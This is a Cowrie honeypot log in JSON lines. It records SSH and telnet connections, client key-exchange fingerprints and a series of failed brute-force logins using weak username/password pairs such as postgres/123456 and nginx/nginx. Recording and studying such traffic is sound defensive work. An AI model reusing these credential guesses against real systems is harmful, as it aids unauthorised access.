{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:32.130850Z","src_ip":"45.156.87.69","session":"fe5be3418adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:32.920104Z","src_ip":"45.156.87.69","session":"fe5be3418adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59658,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce97928e4ff5","protocol":"telnet","message":"New connection: 152.42.224.71:59658 (10.17.0.5:23) [session: ce97928e4ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:33.802285Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:34.160418Z","src_ip":"45.156.87.69","session":"fe5be3418adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.10326910018921,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:34.916512Z","src_ip":"152.42.224.71","session":"39413d3fe4fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":44922,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d1a3edf996a","protocol":"ssh","message":"New connection: 45.156.87.69:44922 (159.203.135.109:22) [session: 7d1a3edf996a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:35.995384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:36.015818Z","src_ip":"45.156.87.69","session":"7d1a3edf996a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:36.107315Z","src_ip":"45.156.87.69","session":"7d1a3edf996a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"password","message":"login attempt [nginx/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:36.477357Z","src_ip":"45.156.87.69","session":"7d1a3edf996a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:37.626066Z","src_ip":"45.156.87.69","session":"7d1a3edf996a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38414,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7649066e053","protocol":"telnet","message":"New connection: 152.42.224.71:38414 (10.17.0.5:23) [session: e7649066e053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:39.028737Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63944,"dst_ip":"159.203.135.109","dst_port":22,"session":"4973c438f700","protocol":"ssh","message":"New connection: 45.156.87.69:63944 (159.203.135.109:22) [session: 4973c438f700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:39.807017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:39.811515Z","src_ip":"45.156.87.69","session":"4973c438f700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:39.896839Z","src_ip":"45.156.87.69","session":"4973c438f700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:40.169482Z","src_ip":"45.156.87.69","session":"4973c438f700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:41.255727Z","src_ip":"45.156.87.69","session":"4973c438f700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":63954,"dst_ip":"159.203.135.109","dst_port":22,"session":"15e07ce29901","protocol":"ssh","message":"New connection: 45.156.87.69:63954 (159.203.135.109:22) [session: 15e07ce29901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:43.524745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:43.548655Z","src_ip":"45.156.87.69","session":"15e07ce29901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:43.651919Z","src_ip":"45.156.87.69","session":"15e07ce29901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deepaks","password":"deepaks","message":"login attempt [deepaks/deepaks] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:44.548754Z","src_ip":"45.156.87.69","session":"15e07ce29901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:45.718843Z","src_ip":"45.156.87.69","session":"15e07ce29901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":28496,"dst_ip":"159.203.135.109","dst_port":22,"session":"421bc6494c5b","protocol":"ssh","message":"New connection: 45.156.87.69:28496 (159.203.135.109:22) [session: 421bc6494c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:47.532562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:47.537508Z","src_ip":"45.156.87.69","session":"421bc6494c5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:47.629365Z","src_ip":"45.156.87.69","session":"421bc6494c5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:47.998411Z","src_ip":"45.156.87.69","session":"421bc6494c5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:49.160306Z","src_ip":"45.156.87.69","session":"421bc6494c5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":28512,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc007c1533c9","protocol":"ssh","message":"New connection: 45.156.87.69:28512 (159.203.135.109:22) [session: cc007c1533c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:51.215026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:51.228996Z","src_ip":"45.156.87.69","session":"cc007c1533c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:51.303699Z","src_ip":"45.156.87.69","session":"cc007c1533c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:51.655733Z","src_ip":"45.156.87.69","session":"cc007c1533c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:52.741788Z","src_ip":"45.156.87.69","session":"cc007c1533c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":28522,"dst_ip":"159.203.135.109","dst_port":22,"session":"009d7b3e113b","protocol":"ssh","message":"New connection: 45.156.87.69:28522 (159.203.135.109:22) [session: 009d7b3e113b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:55.113496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:55.129653Z","src_ip":"45.156.87.69","session":"009d7b3e113b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:55.261727Z","src_ip":"45.156.87.69","session":"009d7b3e113b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"log","password":"log","message":"login attempt [log/log] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:56.260859Z","src_ip":"45.156.87.69","session":"009d7b3e113b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:57.620420Z","src_ip":"45.156.87.69","session":"009d7b3e113b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":62902,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e2dde12c36d","protocol":"ssh","message":"New connection: 45.156.87.69:62902 (159.203.135.109:22) [session: 8e2dde12c36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:58.990841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:59.028821Z","src_ip":"45.156.87.69","session":"8e2dde12c36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:59.322605Z","src_ip":"45.156.87.69","session":"8e2dde12c36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"P@ssw0rd","message":"login attempt [alex/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:44:59.929442Z","src_ip":"45.156.87.69","session":"8e2dde12c36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.88375163078308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:00.618739Z","src_ip":"152.42.224.71","session":"ae72e8627ab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:01.339659Z","src_ip":"45.156.87.69","session":"8e2dde12c36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51010,"dst_ip":"10.17.0.5","dst_port":23,"session":"500a41ebd7d1","protocol":"telnet","message":"New connection: 152.42.224.71:51010 (10.17.0.5:23) [session: 500a41ebd7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:01.660625Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":62916,"dst_ip":"159.203.135.109","dst_port":22,"session":"1124b240355c","protocol":"ssh","message":"New connection: 45.156.87.69:62916 (159.203.135.109:22) [session: 1124b240355c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:45:03.400765Z"}
